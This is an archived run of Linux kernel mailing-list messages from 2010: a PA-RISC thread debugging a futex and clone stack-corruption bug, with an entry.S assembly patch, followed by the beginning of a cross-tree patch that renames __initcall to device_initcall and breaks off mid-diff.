Xref: news.gmane.org gmane.linux.ports.parisc:2686
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2686>

On Thu, 11 Mar 2010, John David Anglin wrote:

> I am 95% certain that the bug has to do with the clone implementation
> and scheduling.  I have attached another version of the minifail test.
> The loops after the fork and pthread_create calls are to isolate these
> syscalls.  Typically, I see something like:

Here's another idea.  In entry.S, there are some tricky tests to determine
whether to do signals and reschedule.  Based on testing, I'm not sure
that cr30 is always valid (e.g., external interrupt at boot) when we get to
intr_check_resched and intr_check_sig.

The other issue is r16.  I'm thinking we may need to reload r16 as the
context may change if we schedule, etc.  If this checking is broken, it
would break the LWS assumptions.

Thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Sun, 14 Mar 2010 21:10:25 -0400
Organization: nrc.ca
Lines: 86
Approved: news@gmane.org
Message-ID: <20100315011024.GA7309@hiauly1.hia.nrc.ca>
References: <20100307171207.GA22856@hiauly1.hia.nrc.ca> <20100307203230.CAC964E77@hiauly1.hia.nrc.ca> <20100311032049.GA14312@hiauly1.hia.nrc.ca> <20100311135418.GA22698@bombadil.infradead.org> <20100311224044.GA18789@hiauly1.hia.nrc.ca> <20100313020647.GA26384@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1268615435 24603 80.91.229.12 (15 Mar 2010 01:10:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 15 Mar 2010 01:10:35 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>, deller@gmx.de,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 15 02:10:30 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NqypC-0002wL-DU
	for glpp-linux-parisc@lo.gmane.org; Mon, 15 Mar 2010 02:10:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934967Ab0COBK3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 14 Mar 2010 21:10:29 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1452 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934806Ab0COBK3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 14 Mar 2010 21:10:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5E13D5145; Sun, 14 Mar 2010 21:10:26 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20100313020647.GA26384@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2687
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2687>

On Fri, 12 Mar 2010, John David Anglin wrote:

> The other issue is r16.  I'm thinking we may need to reload r16 as the
> context may change if we schedule, etc.  If this checking is broken, it
> would break the LWS assumptions.

This theory is shotdown.  The patch below possibly helps a bit but it
doesn't resolve the minifail bug.  The intention of the last couple of
hunks is to return to the right place if cr30 changes as a result of
scheduling.

With more debugging, it seems that this is a clone mmap copy issue.
Normally, the forked child doesn't see any non-zero data in the
stack region allocated by pthread_create.  However, if it does, 
the thread invariably dies and the stack region is corrupt after
the fork.

I guess I said this before ;(

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..820d6ca 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -758,6 +758,10 @@ ENTRY(__kernel_thread)
 
 	STREG	%r22, PT_GR22(%r1)	/* save r22 (arg5) */
 	copy	%r0, %r22		/* user_tid */
+	copy	%r0, %r21		/* child_tid */
+#else
+	stw	%r0, -52(%r30)	     	/* user_tid */
+	stw	%r0, -56(%r30)	     	/* child_tid */
 #endif
 	STREG	%r26, PT_GR26(%r1)  /* Store function & argument for child */
 	STREG	%r25, PT_GR25(%r1)
@@ -765,7 +769,7 @@ ENTRY(__kernel_thread)
 	ldo	CLONE_VM(%r26), %r26   /* Force CLONE_VM since only init_mm */
 	or	%r26, %r24, %r26      /* will have kernel mappings.	 */
 	ldi	1, %r25			/* stack_start, signals kernel thread */
-	stw	%r0, -52(%r30)	     	/* user_tid */
+	ldi	0, %r23			/* child_stack_size */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
@@ -972,7 +976,10 @@ intr_check_sig:
 	BL	do_notify_resume,%r2
 	copy	%r16, %r26			/* struct pt_regs *regs */
 
-	b,n	intr_check_sig
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 intr_restore:
 	copy            %r16,%r29
@@ -1026,14 +1033,12 @@ intr_do_resched:
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	ldil	L%intr_check_sig, %r2
-#ifndef CONFIG_64BIT
-	b	schedule
-#else
-	load32	schedule, %r20
-	bv	%r0(%r20)
-#endif
-	ldo	R%intr_check_sig(%r2), %r2
+	BL	schedule,%r2
+	nop
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 	/* preempt the current task on returning to kernel
 	 * mode from an interrupt, iff need_resched is set,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Tue, 16 Mar 2010 07:49:18 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <119aab441003160449n11cf5272qb9d15fa97625dd7d@mail.gmail.com>
References: <20100307171207.GA22856@hiauly1.hia.nrc.ca>
	 <20100307203230.CAC964E77@hiauly1.hia.nrc.ca>
	 <20100311032049.GA14312@hiauly1.hia.nrc.ca>
	 <20100311135418.GA22698@bombadil.infradead.org>
	 <20100311224044.GA18789@hiauly1.hia.nrc.ca>
	 <20100313020647.GA26384@hiauly1.hia.nrc.ca>
	 <20100315011024.GA7309@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1268740170 19158 80.91.229.12 (16 Mar 2010 11:49:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 16 Mar 2010 11:49:30 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 16 12:49:21 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NrVGz-0002de-5k
	for glpp-linux-parisc@lo.gmane.org; Tue, 16 Mar 2010 12:49:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753320Ab0CPLtU convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Mar 2010 07:49:20 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:42944 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753405Ab0CPLtT convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Mar 2010 07:49:19 -0400
Original-Received: by wyb38 with SMTP id 38so1949510wyb.19
        for <linux-parisc@vger.kernel.org>; Tue, 16 Mar 2010 04:49:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=eb8PFMM+ZKFixiPAa0uLyu3BQjDexYFJOrNVQbwxktw=;
        b=je2FP8IQXBEEMHUSecMXVwqTJ4wIM6o2dGR26A6yBW/f3SAmbTDKVDAxZCZM2BHVMz
         rdEPW38eK6f+VNguLK6hSDyAMj6BC/rPiBTs+EgMRqzcfL1rDU5josbCE8pk5a4LnALZ
         PdQigKZRNHfuodQue7LYmSE6kgRzjoTj5liTo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=guzu9XMCEOX5q20sRwsyVsTLORiNJihvVTFBoCpOZVEkPmTmNHx5UisHTjfws8Ti1X
         6LvE5QYzm1FxNm4pkD6IAC/xUA+FKDnqUy3ZslgoQEfBDJkEBSv64/N20eS4uttn3qFO
         +s8Un5NmZOWydfJFK+cJfUxtNNQBScEW15y/c=
Original-Received: by 10.216.165.85 with SMTP id d63mr744584wel.123.1268740158235; Tue, 
	16 Mar 2010 04:49:18 -0700 (PDT)
In-Reply-To: <20100315011024.GA7309@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 0ff9e77e527185a6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2688
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2688>

On Sun, Mar 14, 2010 at 9:10 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> On Fri, 12 Mar 2010, John David Anglin wrote:
>
>> The other issue is r16. =A0I'm thinking we may need to reload r16 as=
 the
>> context may change if we schedule, etc. =A0If this checking is broke=
n, it
>> would break the LWS assumptions.
>
> This theory is shotdown. =A0The patch below possibly helps a bit but =
it
> doesn't resolve the minifail bug. =A0The intention of the last couple=
 of
> hunks is to return to the right place if cr30 changes as a result of
> scheduling.

Thanks for testing this out.

> With more debugging, it seems that this is a clone mmap copy issue.
> Normally, the forked child doesn't see any non-zero data in the
> stack region allocated by pthread_create. =A0However, if it does,
> the thread invariably dies and the stack region is corrupt after
> the fork.
>
> I guess I said this before ;(

After some of my own testing I think this is all MMU related, but I
can't prove it yet. I'm pouring through as much kernel code as I can
right now to determine what is going wrong at the time of the clone,
and I see at least one bug that I'm investigating regarding return
addresses.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Justin P. Mattock" <justinmattock@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.arm.kernel,gmane.linux.redhat.security.audit,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.comp.security.selinux,gmane.linux.ports.sparc,gmane.linux.network,gmane.linux.kernel
Subject: [PATCH] Cosmetic:Partially remove deprecated __initcall() and change to
Date: Fri, 19 Mar 2010 12:51:31 -0700
Lines: 2225
Approved: news@gmane.org
Message-ID: <1269028291-9103-1-git-send-email-justinmattock@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1269028344 28537 80.91.229.12 (19 Mar 2010 19:52:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 19 Mar 2010 19:52:24 +0000 (UTC)
Cc: linux-arm-kernel@lists.infradead.org, linux-audit@redhat.com,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, selinux@tycho.nsa.gov,
	sparclinux@vger.kernel.org, x86@kernel.org, netdev@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	"Justin P. Mattock" <justinmattock@gmail.com>
To: trivial@kernel.org
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Mar 19 20:52:07 2010
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1NsiEn-0000zz-Ag
	for glpi-linux-ia64-2@lo.gmane.org; Fri, 19 Mar 2010 20:52:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751353Ab0CSTwC (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Fri, 19 Mar 2010 15:52:02 -0400
Original-Received: from mail-bw0-f209.google.com ([209.85.218.209]:56446 "EHLO
	mail-bw0-f209.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750966Ab0CSTv5 (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Fri, 19 Mar 2010 15:51:57 -0400
Original-Received: by bwz1 with SMTP id 1so355677bwz.21
        for <multiple recipients>; Fri, 19 Mar 2010 12:51:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer;
        bh=MqF5NRIF6EC8JcoeAYqFPct26gL8hfcEZdVjIrv+QnE=;
        b=C0BFcctQSFqfWjgLXqSdasNx2vPSpVd6KMRn1JbMazHXK3kUm22w8ROEhu7YPgnDyW
         /f7RZFZzo585jQoS6fRvFZjCistAaNdql/CYBuv4Wf+lWTa5jUBwmvIAH2ugssu8ZrsM
         43+ba6+OGlEecHj/GX176Qb5D3TeZroxOoh48=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer;
        b=VldEDSE3vEK6ybdwxWMbnmCEpbiV1FDawd5KeFG7Hig1DuG5y2OxkjQQoQTnXbgEr8
         uR9/XoZ6xyLryr27A9vf/NFIrJbdblrvmPSeobH2TYdrSmpdklfaqNFIbNkD0/8/a8aU
         qwIvsbpwA8B37EageFEMztL0lvmmIplY1MQ8Q=
Original-Received: by 10.204.83.132 with SMTP id f4mr1232665bkl.73.1269028312977;
        Fri, 19 Mar 2010 12:51:52 -0700 (PDT)
Original-Received: from localhost.localdomain (cpe-76-173-26-187.socal.res.rr.com [76.173.26.187])
        by mx.google.com with ESMTPS id 16sm910351bwz.1.2010.03.19.12.51.47
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 19 Mar 2010 12:51:51 -0700 (PDT)
X-Mailer: git-send-email 1.6.5.GIT
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21220 gmane.linux.ports.arm.kernel:76366 gmane.linux.redhat.security.audit:3391 gmane.linux.hardware.blackfin.kernel.devel:3786 gmane.linux.ports.mips.general:27337 gmane.linux.ports.parisc:2689 gmane.comp.security.selinux:13431 gmane.linux.ports.sparc:13050 gmane.linux.network:155286 gmane.linux.kernel:963728
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2689>

After doing some things on a small issue,
I noticed through web surfing, that there were patches
submitted pertaining that __initcall is deprecated,
and device_initcall should be used.

So as a change of subject(since what I was looking at
was frustrating me),I decided to grep the whole tree
and make the change(partially).

Currently I'm running this patch on my system, kernel compiles
without any errors or warnings.(thought there would be a speed increase
but didn't see much(if any)).
Biggest problem I have though is testing this on other hardware types
(I only have a macbook,and an iMac).
So please if you have the access to other arch/hardware types please
test.

Now what I mean by partially is the __initcall function is still
there, so(if any) userspace apps/libs depend on this it's there
so they dont break and/or any other subsystem, that needs time
to make the changes.

Note:
the remaining files that still have __initcall in them are:
(according to grep)

arch/um/include/shared/init.h
include/linux/init.h
scripts/checkpatch.pl

either I or somebody else, can change this(although a bit
concerned about breaking things).

Signed-off-by: Justin P. Mattock <justinmattock@gmail.com>
---
 Documentation/DocBook/kernel-hacking.tmpl    |    4 ++--
 Documentation/cpu-freq/cpu-drivers.txt       |    2 +-
 Documentation/kbuild/makefiles.txt           |    2 +-
 arch/arm/mach-at91/leds.c                    |    2 +-
 arch/arm/mach-clps711x/p720t.c               |    2 +-
 arch/arm/mach-ebsa110/leds.c                 |    2 +-
 arch/arm/mach-footbridge/cats-hw.c           |    2 +-
 arch/arm/mach-footbridge/ebsa285-leds.c      |    2 +-
 arch/arm/mach-footbridge/netwinder-hw.c      |    2 +-
 arch/arm/mach-footbridge/netwinder-leds.c    |    2 +-
 arch/arm/mach-ks8695/leds.c                  |    2 +-
 arch/arm/mach-omap1/leds.c                   |    2 +-
 arch/arm/mach-omap1/pm.c                     |    2 +-
 arch/arm/mach-orion5x/db88f5281-setup.c      |    2 +-
 arch/arm/mach-orion5x/rd88f5182-setup.c      |    2 +-
 arch/arm/mach-pxa/generic.c                  |    2 +-
 arch/arm/mach-pxa/pxa25x.c                   |    2 +-
 arch/arm/mach-shark/leds.c                   |    2 +-
 arch/blackfin/kernel/bfin_gpio.c             |    2 +-
 arch/blackfin/mach-common/pm.c               |    2 +-
 arch/cris/arch-v10/kernel/debugport.c        |    2 +-
 arch/cris/arch-v10/kernel/fasttimer.c        |    2 +-
 arch/cris/arch-v10/mm/init.c                 |    2 +-
 arch/cris/arch-v32/kernel/fasttimer.c        |    2 +-
 arch/cris/arch-v32/kernel/pinmux.c           |    2 +-
 arch/cris/arch-v32/kernel/signal.c           |    2 +-
 arch/cris/arch-v32/mach-a3/io.c              |    2 +-
 arch/cris/arch-v32/mach-a3/pinmux.c          |    2 +-
 arch/cris/arch-v32/mach-fs/io.c              |    2 +-
 arch/cris/arch-v32/mach-fs/pinmux.c          |    2 +-
 arch/cris/kernel/profile.c                   |    2 +-
 arch/cris/kernel/time.c                      |    2 +-
 arch/cris/kernel/traps.c                     |    2 +-
 arch/frv/kernel/gdb-stub.c                   |    2 +-
 arch/frv/kernel/pm-mb93093.c                 |    2 +-
 arch/frv/kernel/pm.c                         |    2 +-
 arch/frv/kernel/sysctl.c                     |    2 +-
 arch/h8300/kernel/gpio.c                     |    2 +-
 arch/ia64/hp/sim/simeth.c                    |    2 +-
 arch/ia64/hp/sim/simserial.c                 |    2 +-
 arch/ia64/kernel/audit.c                     |    2 +-
 arch/ia64/kernel/crash.c                     |    2 +-
 arch/ia64/kernel/cyclone.c                   |    2 +-
 arch/ia64/kernel/perfmon.c                   |    2 +-
 arch/ia64/kernel/setup.c                     |    2 +-
 arch/ia64/kernel/uncached.c                  |    2 +-
 arch/ia64/kernel/unwind.c                    |    2 +-
 arch/ia64/mm/init.c                          |    2 +-
 arch/mips/Makefile                           |    2 +-
 arch/mips/kernel/unaligned.c                 |    2 +-
 arch/mips/lasat/sysctl.c                     |    2 +-
 arch/mips/math-emu/cp1emu.c                  |    2 +-
 arch/mips/nxp/pnx8550/common/proc.c          |    2 +-
 arch/mips/sibyte/sb1250/bus_watcher.c        |    2 +-
 arch/mn10300/kernel/gdb-stub.c               |    2 +-
 arch/mn10300/kernel/mn10300-serial.c         |    2 +-
 arch/mn10300/kernel/profile.c                |    2 +-
 arch/parisc/kernel/pci-dma.c                 |    2 +-
 arch/parisc/kernel/pdc_chassis.c             |    2 +-
 arch/powerpc/kernel/audit.c                  |    2 +-
 arch/powerpc/kernel/idle.c                   |    2 +-
 arch/powerpc/kernel/irq.c                    |    2 +-
 arch/powerpc/kernel/proc_powerpc.c           |    2 +-
 arch/powerpc/kernel/prom.c                   |    4 ++--
 arch/powerpc/kernel/rtas-proc.c              |    2 +-
 arch/powerpc/kernel/rtasd.c                  |    2 +-
 arch/powerpc/kernel/sysfs.c                  |    2 +-
 arch/powerpc/kernel/tau_6xx.c                |    2 +-
 arch/powerpc/kernel/vio.c                    |    2 +-
 arch/powerpc/platforms/iseries/lpevents.c    |    2 +-
 arch/powerpc/platforms/iseries/mf.c          |    2 +-
 arch/powerpc/platforms/iseries/proc.c        |    2 +-
 arch/powerpc/platforms/iseries/viopath.c     |    2 +-
 arch/powerpc/platforms/pseries/eeh.c         |    2 +-
 arch/powerpc/platforms/pseries/hvCall_inst.c |    2 +-
 arch/powerpc/platforms/pseries/power.c       |    2 +-
 arch/powerpc/platforms/pseries/ras.c         |    2 +-
 arch/powerpc/platforms/pseries/reconfig.c    |    2 +-
 arch/powerpc/xmon/xmon.c                     |    2 +-
 arch/s390/appldata/appldata_base.c           |    2 +-
 arch/s390/kernel/audit.c                     |    2 +-
 arch/s390/kernel/compat_exec_domain.c        |    2 +-
 arch/s390/kernel/ipl.c                       |    2 +-
 arch/s390/kernel/topology.c                  |    2 +-
 arch/sh/boards/board-edosk7760.c             |    2 +-
 arch/sh/boards/board-sh7785lcr.c             |    2 +-
 arch/sh/boards/mach-cayman/setup.c           |    2 +-
 arch/sh/boards/mach-landisk/setup.c          |    2 +-
 arch/sh/boards/mach-r2d/setup.c              |    2 +-
 arch/sh/boards/mach-sdk7786/setup.c          |    2 +-
 arch/sh/boards/mach-se/7206/setup.c          |    2 +-
 arch/sh/boards/mach-se/7751/setup.c          |    2 +-
 arch/sh/boards/mach-sh03/setup.c             |    2 +-
 arch/sh/kernel/traps_64.c                    |    2 +-
 arch/sparc/kernel/apc.c                      |    2 +-
 arch/sparc/kernel/audit.c                    |    2 +-
 arch/sparc/kernel/mdesc.c                    |    2 +-
 arch/sparc/kernel/pmc.c                      |    2 +-
 arch/um/drivers/mconsole_kern.c              |    8 ++++----
 arch/um/drivers/net_kern.c                   |    2 +-
 arch/um/drivers/stderr_console.c             |    2 +-
 arch/um/drivers/ubd_kern.c                   |    4 ++--
 arch/um/kernel/exitcode.c                    |    2 +-
 arch/um/kernel/physmem.c                     |    2 +-
 arch/um/os-Linux/aio.c                       |    4 ++--
 arch/um/os-Linux/skas/mem.c                  |    2 +-
 arch/um/os-Linux/skas/process.c              |    2 +-
 arch/um/os-Linux/umid.c                      |    2 +-
 arch/um/sys-i386/tls.c                       |    2 +-
 arch/x86/kernel/audit_64.c                   |    2 +-
 arch/x86/kernel/tlb_uv.c                     |    4 ++--
 arch/x86/kernel/vsyscall_64.c                |    4 ++--
 arch/x86/mm/dump_pagetables.c                |    2 +-
 arch/x86/vdso/vdso32-setup.c                 |    4 ++--
 arch/x86/vdso/vma.c                          |    2 +-
 arch/xtensa/platforms/iss/console.c          |    2 +-
 drivers/net/arm/am79c961a.c                  |    2 +-
 drivers/net/hamradio/baycom_epp.c            |    1 +
 drivers/net/hamradio/baycom_par.c            |    1 +
 drivers/net/hamradio/baycom_ser_fdx.c        |    1 +
 drivers/net/hamradio/baycom_ser_hdx.c        |    1 +
 drivers/s390/char/sclp_cmd.c                 |    2 +-
 drivers/s390/char/sclp_config.c              |    2 +-
 drivers/s390/char/sclp_cpi_sys.c             |    2 +-
 drivers/s390/char/sclp_vt220.c               |    2 +-
 drivers/s390/cio/blacklist.c                 |    2 +-
 drivers/staging/rtl8192u/ieee80211/api.c     |    2 +-
 fs/aio.c                                     |    2 +-
 fs/compat_ioctl.c                            |    2 +-
 ipc/ipc_sysctl.c                             |    2 +-
 ipc/mqueue.c                                 |    2 +-
 ipc/util.c                                   |    2 +-
 kernel/audit.c                               |    2 +-
 kernel/audit_tree.c                          |    2 +-
 kernel/dma.c                                 |    2 +-
 kernel/futex.c                               |    2 +-
 kernel/lockdep_proc.c                        |    2 +-
 kernel/pid_namespace.c                       |    2 +-
 kernel/posix-cpu-timers.c                    |    2 +-
 kernel/posix-timers.c                        |    2 +-
 kernel/resource.c                            |    2 +-
 kernel/sched_debug.c                         |    2 +-
 kernel/time/timer_list.c                     |    2 +-
 kernel/time/timer_stats.c                    |    2 +-
 kernel/tracepoint.c                          |    2 +-
 kernel/utsname_sysctl.c                      |    2 +-
 lib/audit.c                                  |    2 +-
 lib/debugobjects.c                           |    2 +-
 mm/bounce.c                                  |    2 +-
 mm/memory.c                                  |    2 +-
 mm/mm_init.c                                 |    2 +-
 mm/slab.c                                    |    2 +-
 mm/slub.c                                    |    2 +-
 mm/swapfile.c                                |    2 +-
 net/ipv4/syncookies.c                        |    2 +-
 net/ipv4/sysctl_net_ipv4.c                   |    2 +-
 security/keys/proc.c                         |    2 +-
 security/selinux/hooks.c                     |    2 +-
 security/selinux/netif.c                     |    2 +-
 security/selinux/netlink.c                   |    2 +-
 security/selinux/netnode.c                   |    2 +-
 security/selinux/netport.c                   |    2 +-
 security/selinux/selinuxfs.c                 |    2 +-
 security/selinux/ss/services.c               |    2 +-
 security/smack/smackfs.c                     |    2 +-
 sound/last.c                                 |    2 +-
 166 files changed, 176 insertions(+), 172 deletions(-)

diff --git a/Documentation/DocBook/kernel-hacking.tmpl b/Documentation/DocBook/kernel-hacking.tmpl
index 7b3f493..a682709 100644
--- a/Documentation/DocBook/kernel-hacking.tmpl
+++ b/Documentation/DocBook/kernel-hacking.tmpl
@@ -734,7 +734,7 @@ printk(KERN_INFO "my ip: %pI4\n", &amp;ipaddress);
   </sect1>
 
   <sect1 id="routines-init-again">
-   <title><function>__initcall()</function>/<function>module_init()</function>
+   <title><function>device_initcall()</function>/<function>module_init()</function>
     <filename class="headerfile">include/linux/init.h</filename></title>
    <para>
     Many parts of the kernel are well served as a module
@@ -750,7 +750,7 @@ printk(KERN_INFO "my ip: %pI4\n", &amp;ipaddress);
     function is to be called at module insertion time (if the file is
     compiled as a module), or at boot time: if the file is not
     compiled as a module the <function>module_init()</function> macro
-    becomes equivalent to <function>__initcall()</function>, which
+    becomes equivalent to <function>device_initcall()</function>, which
     through linker magic ensures that the function is called on boot.
    </para>
 
diff --git a/Documentation/cpu-freq/cpu-drivers.txt b/Documentation/cpu-freq/cpu-drivers.txt
index 6c30e93..12bb6e4 100644
--- a/Documentation/cpu-freq/cpu-drivers.txt
+++ b/Documentation/cpu-freq/cpu-drivers.txt
@@ -41,7 +41,7 @@ on what is necessary:
 1.1 Initialization
 ------------------
 
-First of all, in an __initcall level 7 (module_init()) or later
+First of all, in an device_initcall level 7 (module_init()) or later
 function check whether this kernel runs on the right CPU and the right
 chipset. If so, register a struct cpufreq_driver with the CPUfreq core
 using cpufreq_register_driver()
diff --git a/Documentation/kbuild/makefiles.txt b/Documentation/kbuild/makefiles.txt
index 71c602d..645ea71 100644
--- a/Documentation/kbuild/makefiles.txt
+++ b/Documentation/kbuild/makefiles.txt
@@ -159,7 +159,7 @@ more details, with real examples.
 	built-in.o and succeeding instances will be ignored.
 
 	Link order is significant, because certain functions
-	(module_init() / __initcall) will be called during boot in the
+	(module_init() / device_initcall) will be called during boot in the
 	order they appear. So keep in mind that changing the link
 	order may e.g. change the order in which your SCSI
 	controllers are detected, and thus your disks are renumbered.
diff --git a/arch/arm/mach-at91/leds.c b/arch/arm/mach-at91/leds.c
index 0415a83..08e342d 100644
--- a/arch/arm/mach-at91/leds.c
+++ b/arch/arm/mach-at91/leds.c
@@ -179,7 +179,7 @@ static int __init leds_init(void)
 	return 0;
 }
 
-__initcall(leds_init);
+device_initcall(leds_init);
 
 
 void __init at91_init_leds(u8 cpu_led, u8 timer_led)
diff --git a/arch/arm/mach-clps711x/p720t.c b/arch/arm/mach-clps711x/p720t.c
index 0d94a30..1047b23 100644
--- a/arch/arm/mach-clps711x/p720t.c
+++ b/arch/arm/mach-clps711x/p720t.c
@@ -121,5 +121,5 @@ static int p720t_hw_init(void)
 	return 0;
 }
 
-__initcall(p720t_hw_init);
